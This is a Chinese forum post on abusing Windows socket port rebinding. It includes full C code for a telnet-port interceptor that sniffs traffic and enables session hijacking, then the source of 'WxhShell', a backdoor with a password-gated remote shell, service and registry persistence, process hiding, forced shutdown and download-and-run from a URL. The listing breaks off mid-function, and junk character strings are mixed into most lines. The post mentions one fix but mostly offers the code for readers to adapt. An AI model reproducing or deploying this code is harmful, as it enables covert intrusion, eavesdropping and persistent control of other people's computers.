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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S*?x|&a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t'L#8MJ  
Com`4>0>I  
  saddr.sin_family = AF_INET; ouR(l;  
~F=,)GE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +a((,wAN2  
#gY|T|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); oY0`igH  
f3HleA&&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xEvm>BZi  
Yq0=4#_  
  这意味着什么?意味着可以进行如下的攻击: K44j-Ypb  
9!|+GIjn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N3rQ]HZiP  
7c.LyvM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B5fF\N^  
2@#`x"0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _=RK  
1# X*kF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c-hhA%@Wq  
Gmp`3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PV,AN   
4m3pF0k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *q |3QHZ  
k?'<f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B[nkE+s  
\]+57^8r  
  #include ~7Jj\@68  
  #include #Ez+1  
  #include f!aE/e\  
  #include    Qv>rww]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   IYk^eG:;  
  int main() ZP^7`q)6  
  { ;IX*4E'4s  
  WORD wVersionRequested; <{UjO  
  DWORD ret;  `Aa*}1  
  WSADATA wsaData; 6%RN-  
  BOOL val; Wx-vWWx*Q  
  SOCKADDR_IN saddr; eGh7,wngH  
  SOCKADDR_IN scaddr; p7kH"j{xD  
  int err; yCOIv!/zy  
  SOCKET s; s;4r)9Uvx  
  SOCKET sc; Du."O]syD  
  int caddsize; 8  }(ul  
  HANDLE mt; s/J/kKj*s  
  DWORD tid;   ;5wr5H3  
  wVersionRequested = MAKEWORD( 2, 2 ); h1 (MvEt  
  err = WSAStartup( wVersionRequested, &wsaData ); #-Ad0/  
  if ( err != 0 ) { [Y=X^"PF  
  printf("error!WSAStartup failed!\n"); ,,KGcDBj  
  return -1; <UMT:`h1MZ  
  } 37QXML  
  saddr.sin_family = AF_INET; ]J* y`jn  
   "~HV!(dRMC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '{(/C?T  
xMAb=87_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Om=*b#k  
  saddr.sin_port = htons(23); Zc9j_.?*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dn)pVti_  
  { }^R_8{>k  
  printf("error!socket failed!\n"); ;&%G)f  
  return -1; r(::3TF%#q  
  } --9Z  
  val = TRUE; I{0bs Tp;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9x40  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c@1q8,  
  { @ dF]X  
  printf("error!setsockopt failed!\n"); }th^l*g  
  return -1; }475c{  
  } [M{EO)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3!V$fl0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p&#*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y!tjaL 9D  
wuQ>|\Zs  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XgmblNp1  
  { N2x!RYW  
  ret=GetLastError(); P.;S6i n  
  printf("error!bind failed!\n"); e;/C}sK:  
  return -1; ^3:DeZf!u  
  } |rbl sL2?Z  
  listen(s,2); ax)j$  
  while(1) :9Vd=M6,  
  { +e6c4Tw/  
  caddsize = sizeof(scaddr); ;dh8|ujh  
  //接受连接请求 \O7Vo<B&D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "<J%@  
  if(sc!=INVALID_SOCKET) K9J"Q4pEC  
  {  j{;RuNt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k-LT'>CWl  
  if(mt==NULL) M"t=0[0DM:  
  { i!=2 8|_  
  printf("Thread Creat Failed!\n"); ^QKL}xiV:  
  break; Dxwv\+7]  
  } 0y3<Ho,+$  
  } -MqWcB9&  
  CloseHandle(mt); F}lgy;=h  
  } E(&GZ QE  
  closesocket(s); d$G<g78D  
  WSACleanup(); @}e'(ju%R  
  return 0; DB>Y#2j4h  
  }   9A4h?/  
  DWORD WINAPI ClientThread(LPVOID lpParam) @-ma_0cZQ  
  { /@.c 59r  
  SOCKET ss = (SOCKET)lpParam; !^|%Z  
  SOCKET sc; VnJ-nfA  
  unsigned char buf[4096]; vsM] <t  
  SOCKADDR_IN saddr; hR$lX8  
  long num; IHg)xZ  
  DWORD val; ^3-Wxn9&  
  DWORD ret; r12{XW?~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Pj!{j)-tS  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yO6 _G q{  
  saddr.sin_family = AF_INET; ^!*?vHx:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ClHaR  
  saddr.sin_port = htons(23); H<SL=mb;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) elgCPX&:W  
  { Y,bw:vX  
  printf("error!socket failed!\n"); #dLp<l)  
  return -1; x\Y%/C[Kc  
  } 3PonF4  
  val = 100; FBGHVV w!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !7g E  
  { a* pZcv<  
  ret = GetLastError(); e<> Lr  
  return -1; @J~y_J{  
  } :);]E-ch  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NS l$5E  
  { 5g- apod  
  ret = GetLastError(); %}=$HwN)  
  return -1; I~R<}volu  
  } sQA{[l!aj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {1GW,T!#  
  { %;0w2W  
  printf("error!socket connect failed!\n"); .'SXRrn&:C  
  closesocket(sc); 3_atv'I  
  closesocket(ss); ~PNO|]8j  
  return -1; ."Yub];H  
  } kC R)k=*  
  while(1) FGOa! G  
  { ]kmOX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gkpNT)  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wYf=(w \c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oPNYCE  
  num = recv(ss,buf,4096,0); y0qE::/H$  
  if(num>0) vtFA#})~  
  send(sc,buf,num,0); a{h(BI^~  
  else if(num==0) #^Dc:1,  
  break; SPV'0* Z  
  num = recv(sc,buf,4096,0); K]bS:[34 R  
  if(num>0) 3D~Fu8Hg1  
  send(ss,buf,num,0); '3o0J\cz  
  else if(num==0) B-[SUmHr  
  break; s\&_Kbw] c  
  } Q ;P~'  
  closesocket(ss); $/C<^}A  
  closesocket(sc); 71tMX[x  
  return 0 ; ]tZ5XS  
  } #{0DpSzE5  
81_3{OrE<  
D,eJR(5I  
========================================================== |Z;w k&  
$EJ*x$  
下边附上一个代码,,WXhSHELL |?Q(4(D`*  
&Jj> jCg  
========================================================== E|9LUPcb  
YeJ95\jf  
#include "stdafx.h" g]xZ^M+  
6\,^MI  
#include <stdio.h> t%z7#}9$  
#include <string.h> IQ{Xj3;?y  
#include <windows.h> V8&/O)}o  
#include <winsock2.h> MatC2-aV1  
#include <winsvc.h> bT-G<h*M  
#include <urlmon.h> W7A'5  
4Sg!NPuu7&  
#pragma comment (lib, "Ws2_32.lib") cM4?G gn  
#pragma comment (lib, "urlmon.lib") \|>eG u  
"tIf$z  
#define MAX_USER   100 // 最大客户端连接数 savz>E &  
#define BUF_SOCK   200 // sock buffer :,q3?l6  
#define KEY_BUFF   255 // 输入 buffer ~+7yi4(i  
g}^ /8rW  
#define REBOOT     0   // 重启 |/fbU_d  
#define SHUTDOWN   1   // 关机 Xs?7Whc6  
zF i+6I$  
#define DEF_PORT   5000 // 监听端口 wH Z!t,g  
R~*Y@_oD  
#define REG_LEN     16   // 注册表键长度 r-YQsu&  
#define SVC_LEN     80   // NT服务名长度 M]` Q4\  
G P1>h.J  
// 从dll定义API a`pY&xq::  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !P Gow  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H5RHA^p|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y)u} +Yg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SbnV U[  
3}:pD]`h  
// wxhshell配置信息 0v7;Z xD  
struct WSCFG { 2K*-uT#$~  
  int ws_port;         // 监听端口 ] |`gTD6  
  char ws_passstr[REG_LEN]; // 口令 paBGJ~{=  
  int ws_autoins;       // 安装标记, 1=yes 0=no el|t6ZT*  
  char ws_regname[REG_LEN]; // 注册表键名 ~POeFZ  
  char ws_svcname[REG_LEN]; // 服务名 ^}1RDdQ"U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oh@r0`J]x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RO.(k!J .  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vWkKNB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [ !R%yD;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wCt+{Y3T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4\OELU  
<$yer)_J!k  
}; ,IJNuu\  
Ee|+uQ981>  
// default Wxhshell configuration _SP u`=~K  
struct WSCFG wscfg={DEF_PORT, 3sZK[Y|ax  
    "xuhuanlingzhe", f[}SS]d:E  
    1, _&%!4n#>  
    "Wxhshell", e4)g F*  
    "Wxhshell", $m=z87hX  
            "WxhShell Service", \[oHt:$do  
    "Wrsky Windows CmdShell Service", C]=E$^ |{  
    "Please Input Your Password: ", J/<`#XZB   
  1, f A,+qs  
  "http://www.wrsky.com/wxhshell.exe", 5 N/ ]/  
  "Wxhshell.exe" j=AJs<  
    }; ewY[vbF  
CQ( @7  
// 消息定义模块 |%V.Lae  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fBLd5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qBNiuV;*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `X^e}EGWu  
char *msg_ws_ext="\n\rExit."; YqJIp. Z  
char *msg_ws_end="\n\rQuit."; Ez$5wY^J  
char *msg_ws_boot="\n\rReboot..."; n#&RY%#`  
char *msg_ws_poff="\n\rShutdown..."; Mc}x]j`f  
char *msg_ws_down="\n\rSave to "; \QMSka>  
?@#}%<yEq  
char *msg_ws_err="\n\rErr!"; Ys_YjlMIbl  
char *msg_ws_ok="\n\rOK!"; P~qVr#eU  
&"kx (B  
char ExeFile[MAX_PATH]; 3QHZC0AY  
int nUser = 0; {PVu3 W  
HANDLE handles[MAX_USER]; ,){0y%c#y  
int OsIsNt; )[K3p{4  
ibuI/VDF  
SERVICE_STATUS       serviceStatus; #] GM#.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; UKJY.W!w4  
Q]7Q  
// 函数声明 \fKE~61  
int Install(void); `P5"5N\h  
int Uninstall(void); ; p_X7N  
int DownloadFile(char *sURL, SOCKET wsh); >ATW/9r  
int Boot(int flag); y^A $bTQq  
void HideProc(void); QLUe{@ivc  
int GetOsVer(void); *=7[Ip< X  
int Wxhshell(SOCKET wsl); ~ /x42|t  
void TalkWithClient(void *cs); P&tK}Se^V  
int CmdShell(SOCKET sock); "QF083$  
int StartFromService(void); ;dFe >`~  
int StartWxhshell(LPSTR lpCmdLine); +i>q;=~  
@ubz?5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1wgu%$|d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Yq^y"rw  
LX fiSM{o  
// 数据结构和表定义 Ww(_EW  
SERVICE_TABLE_ENTRY DispatchTable[] = %pp+V1FH  
{ ~?&ijhZ  
{wscfg.ws_svcname, NTServiceMain}, +n,BD C;  
{NULL, NULL} w?tKL0c  
}; jwq"B$ap  
_Nn!SE   
// 自我安装 .;:xx~G_Q  
int Install(void) :}JZKj!}M  
{ =e;wEf%`  
  char svExeFile[MAX_PATH]; vRq xZN  
  HKEY key; DsX>xzM  
  strcpy(svExeFile,ExeFile); ZH(.| NaH  
C#~MR+;  
// 如果是win9x系统,修改注册表设为自启动 +Y~+o-_  
if(!OsIsNt) { W =zG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4PWr;&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -"zu"H~t4  
  RegCloseKey(key); x]ti3?w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6\3k0z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [KH?5 C  
  RegCloseKey(key); F&*M$@u5  
  return 0; S0+zq<  
    } upDQNG>d  
  } C' ._}\nX  
} iW?9oe  
else { YP<]f>SBt  
~qS/90,  
// 如果是NT以上系统,安装为系统服务 !T*B{+|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MQ*#oVqv  
if (schSCManager!=0) D H !Br  
{ S |x)7NC  
  SC_HANDLE schService = CreateService c2^7"`  
  ( OkZ!ZS h  
  schSCManager, pD#"8h  
  wscfg.ws_svcname, doc  
  wscfg.ws_svcdisp, w4'K2 7  
  SERVICE_ALL_ACCESS, qYiAwK$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MI(i%$R-A  
  SERVICE_AUTO_START, 5G!U'.gr  
  SERVICE_ERROR_NORMAL, A7C+&I!L  
  svExeFile, A E&n^vdQW  
  NULL, nEm7&Gb  
  NULL, :*@|"4  
  NULL, [bv@qBL  
  NULL, 9@Sb! 9h  
  NULL &XRFX 5gP  
  ); @6q$Zg/  
  if (schService!=0) l~YNmmv_  
  { 3}21bL  
  CloseServiceHandle(schService); Yd;r8rN  
  CloseServiceHandle(schSCManager); udGGDH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zt2-w/[Q  
  strcat(svExeFile,wscfg.ws_svcname); g&T Cff  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XyphQ}\u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E ZKz-}  
  RegCloseKey(key); ? SP7vQ/  
  return 0; 9Nu#&_2R  
    } |V\.[F2Fe  
  } xD# I&.  
  CloseServiceHandle(schSCManager); o'7ju~0L  
} mzB#O;3=  
} p qN[G=0  
k6L373e#Q  
return 1; )[sO5X7'^  
} {H; |G0tR  
t!SQLgA  
// 自我卸载 pMp9 O/u%  
int Uninstall(void) 3Z:!o$  
{ [ |n-x3h  
  HKEY key; a<'$`z|s  
-0SuREn  
if(!OsIsNt) { W 'a~pB1I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4sBoD=e  
  RegDeleteValue(key,wscfg.ws_regname); 5?L:8kHsH  
  RegCloseKey(key); f_h"gZWV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )75yv<L2S,  
  RegDeleteValue(key,wscfg.ws_regname); R%_H\-wo  
  RegCloseKey(key); 37- y  
  return 0; SP7g qM  
  } "tB"j9Jb  
} ~_db<!a  
} P .4b+9T x  
else { }r~l7 2 `  
'Y{ux>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wT~;tOw~  
if (schSCManager!=0) %4|}&,%%r  
{ ^P g YP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,XG|oo -  
  if (schService!=0) @\`G & VB  
  { q4GW=@eD  
  if(DeleteService(schService)!=0) { R}X_2""  
  CloseServiceHandle(schService); jjwMvf.R  
  CloseServiceHandle(schSCManager); u AS8F=9xP  
  return 0; >?W;>EUH  
  } a/<pf\O  
  CloseServiceHandle(schService); csX*XiDWm  
  } gQd=0"MV  
  CloseServiceHandle(schSCManager); d<GG (  
} y7)[cvB  
} hf^`at  
FR,#s^kF  
return 1; sx<+ *Trl  
} zg Y*|{4Sl  
0rJ\e  
// 从指定url下载文件 qVD!/;l  
int DownloadFile(char *sURL, SOCKET wsh) 8wpwJs&V  
{ renmz,dJ,  
  HRESULT hr; EXW 6yXLV  
char seps[]= "/"; wJos'aTmE  
char *token; k3/JQ]'D  
char *file; [^d6cMEOlc  
char myURL[MAX_PATH]; ok%a|Zz+]  
char myFILE[MAX_PATH]; z?uQlm*We  
aRO_,n9  
strcpy(myURL,sURL); @z$pPo0fW  
  token=strtok(myURL,seps); D0y,TF  
  while(token!=NULL) fo\J \  
  { ?Y6la.bc{  
    file=token; >c y.]uB  
  token=strtok(NULL,seps); F `pyhc>1;  
  } -=Eq/s u%  
95?5=T F  
GetCurrentDirectory(MAX_PATH,myFILE); [+MH[1Vr={  
strcat(myFILE, "\\"); U~#^ ^  
strcat(myFILE, file); >RL6Jbo|  
  send(wsh,myFILE,strlen(myFILE),0); Z_V&IQo-7  
send(wsh,"...",3,0); o(X90X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @@{_[ir  
  if(hr==S_OK) vgQhdtt  
return 0; kk_9G -M  
else G9'YgW+$7  
return 1; ?V5Pt s  
vi!r8k  
} w] 5U  
fv j5[Q  
// 系统电源模块 dy6F+V\DG  
int Boot(int flag) MY?O/,6  
{ i5E:FS^!I  
  HANDLE hToken; iVpA @p   
  TOKEN_PRIVILEGES tkp; g?A5'o&Yu  
'tV"^KQHI  
  if(OsIsNt) { d JQ }{,+6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mWN1Q<vn,l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *@G(3 n  
    tkp.PrivilegeCount = 1; 0'%+X|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cfC;eRgq~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g3|Y$/J7P  
if(flag==REBOOT) { dW{o+9nw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Xs%R]KOwt  
  return 0; {b-0_  
} # McK46B z  
else { (ju aDn)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N1+4bR  
  return 0; r>Qyc  
} rq'##`H  
  } 3vRL g b  
  else { #zSi/r/=1  
if(flag==REBOOT) { 0.u9f`04  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TM/|K|_  
  return 0; 9o_ g_q  
} qrM{b=  
else { Ft"&NtXeZZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MgH1d&R  
  return 0; K.V!@bPlw9  
} VeD+U~ d  
} 1%/ NL?8#  
hk"9D<&i>b  
return 1; a_ 9|xI  
} 6_9:Eb=^v!  
6cQeL$,SQ  
// win9x进程隐藏模块 CSG+bqUG  
void HideProc(void) G%j/eTTf  
{ \~z?PA.$  
\'It,PN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7}#*3*]  
  if ( hKernel != NULL ) y?*[}S  
  { $/<"Si&(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i)@U.-*5m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <@U.   
    FreeLibrary(hKernel); \N`fWh8&  
  } AT%* ~tr  
As6)_8w  
return; + 4V1>e+  
} =qV4Sje|q  
Wk\mgGn+  
// 获取操作系统版本 `Ct'/h{  
int GetOsVer(void) %?]{U($?  
{ "o^bN 9=  
  OSVERSIONINFO winfo; nl)_`8=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "q9~ C  
  GetVersionEx(&winfo); WIEx '{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,u ?wYW;  
  return 1; >}dTO/  
  else ;1*m} uNz  
  return 0; o;M.Rt\A  
} |n|U;|'^  
-!'Oy%a#  
// 客户端句柄模块 V_+}^  
int Wxhshell(SOCKET wsl) F.~n  
{ )){PBT}t]  
  SOCKET wsh; &jXca|wAR  
  struct sockaddr_in client; 629~Uc6]  
  DWORD myID; 9atjK4+o  
 Z;j/K  
  while(nUser<MAX_USER) >G-8FL  
{ mHK@(D7X  
  int nSize=sizeof(client); #/n|@z'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cS"f  
  if(wsh==INVALID_SOCKET) return 1; iXUWIgr  
":UWowJO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2X qTyf<  
if(handles[nUser]==0) pY{; Yn&t  
  closesocket(wsh); iwG>]:K3  
else 3iu!6lC  
  nUser++; +Fc ET  
  } ~ V@xu{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3o+KP[A  
L?=#*4t  
  return 0; Hk<X  
} d'N(w7-Y  
hw&ke$Fg#  
// 关闭 socket eW\?eq+ `A  
void CloseIt(SOCKET wsh) Ph(]?MG\_  
{ XysFwi  
closesocket(wsh); bDciZ7[b  
nUser--; 2gQY8h8  
ExitThread(0); Pcs^@QP  
} 8 *4@-3Sx  
_-4n ~(  
// 客户端请求句柄 i_ |9<7a  
void TalkWithClient(void *cs) ?o2;SY(-  
{ uI%N?  
4)3g!o ?  
  SOCKET wsh=(SOCKET)cs; *A~($ZtL  
  char pwd[SVC_LEN]; ;jRL3gAe)  
  char cmd[KEY_BUFF]; dIoF~8V  
char chr[1]; l?3vNa FeR  
int i,j; m.1LxM$8  
5xh!f%6  
  while (nUser < MAX_USER) { D+| K%_Qq  
HBt|}uZ?6i  
if(wscfg.ws_passstr) { R'*<A3^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^-gfib|VGe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aqcFY8b '  
  //ZeroMemory(pwd,KEY_BUFF); lTa1pp Zw  
      i=0; u/z,92mmS  
  while(i<SVC_LEN) { 8ku? W  
??|d=4g\  
  // 设置超时 Ivz+Jj w  
  fd_set FdRead; J}x>~?W  
  struct timeval TimeOut; 4^ c!_K&&  
  FD_ZERO(&FdRead); 9 b?i G  
  FD_SET(wsh,&FdRead); [Xxw]C6\>(  
  TimeOut.tv_sec=8; I["F+kt^^  
  TimeOut.tv_usec=0; [:AB$l*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5Z* b(R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |$YyjYK  
m(2G*}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \w{@u)h  
  pwd=chr[0]; f Ub1/-}  
  if(chr[0]==0xd || chr[0]==0xa) { ,]0S4h67  
  pwd=0; 17e=GL  
  break; l_^T&xq8  
  } Oamv9RyDvC  
  i++; Kg4QT/0VA  
    } zt7_r`#z  
]O6KKz  
  // 如果是非法用户,关闭 socket ^ H'hD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J9g|#1G  
} /yLzDCKn  
w@87]/4Rq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i?ZA x4D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oR-O~_) U  
J$1j-\KS  
while(1) { N YCj; ,V  
[?;`x&y~y  
  ZeroMemory(cmd,KEY_BUFF); TcR=GR*cJ  
X7e>Z)l  
      // 自动支持客户端 telnet标准   +2- qlU  
  j=0; 6kP7   
  while(j<KEY_BUFF) { Z+Kv+GmqH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :9(3h"  
  cmd[j]=chr[0]; \M+MDT&  
  if(chr[0]==0xa || chr[0]==0xd) { \BLp-B1s  
  cmd[j]=0; J cP~-cp  
  break; 7 rH'1U  
  } [:Be[pLC  
  j++; IbF 4k .J  
    } U$A/bEhw  
g+e:@@ug  
  // 下载文件 +H41]W6  
  if(strstr(cmd,"http://")) {  ,Qat  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,o BlJvm  
  if(DownloadFile(cmd,wsh)) : aHcPc:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =.DTR5(_h  
  else l+t #"3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JRD8Lz]Q3  
  } UMT\Q6p  
  else { k}X[u8A  
xM% pvx.'L  
    switch(cmd[0]) { pfR"s:#  
  +eU`H[iu  
  // 帮助 ?2/uSG|  
  case '?': { +Dd"41  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v5B" A"N  
    break; R|-6o)$  
  } Sc$gnUYD{  
  // 安装 q1H~ |1  
  case 'i': { 9t#P~>:jY}  
    if(Install()) FQ U\0<5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g`kY]lu  
    else ZOp^`c9~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oL#xDG  
    break; +a #lofhv  
    } Gv;;!sZ  
  // 卸载 j H(&oV  
  case 'r': { JwjI{,jY  
    if(Uninstall()) Rl1$?l6Rf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `ovgWv  
    else &D]&UQf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5qC:yI  
    break; }X.>4\B5  
    } L1rwIOgq^  
  // 显示 wxhshell 所在路径 &&&9  
  case 'p': { z* RSMfRW  
    char svExeFile[MAX_PATH]; ?<! nm&~  
    strcpy(svExeFile,"\n\r"); =9^Q"t4  
      strcat(svExeFile,ExeFile); p+RAtRf  
        send(wsh,svExeFile,strlen(svExeFile),0); >'N!dM.+9  
    break; Z{} n8 b*  
    } R0vww_fz  
  // 重启 V>B'+b+<  
  case 'b': { m*`cuSU|o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4\\.n  
    if(Boot(REBOOT)) i=-8@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WK*S4c  
    else { R+d< fe  
    closesocket(wsh); w(Gz({l+  
    ExitThread(0); kymn)Ea  
    } aV<^IxE;  
    break; xHHV=M2l(s  
    } V`[P4k+b   
  // 关机 `os8;`G  
  case 'd': { {8 N=WZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x )3~il5  
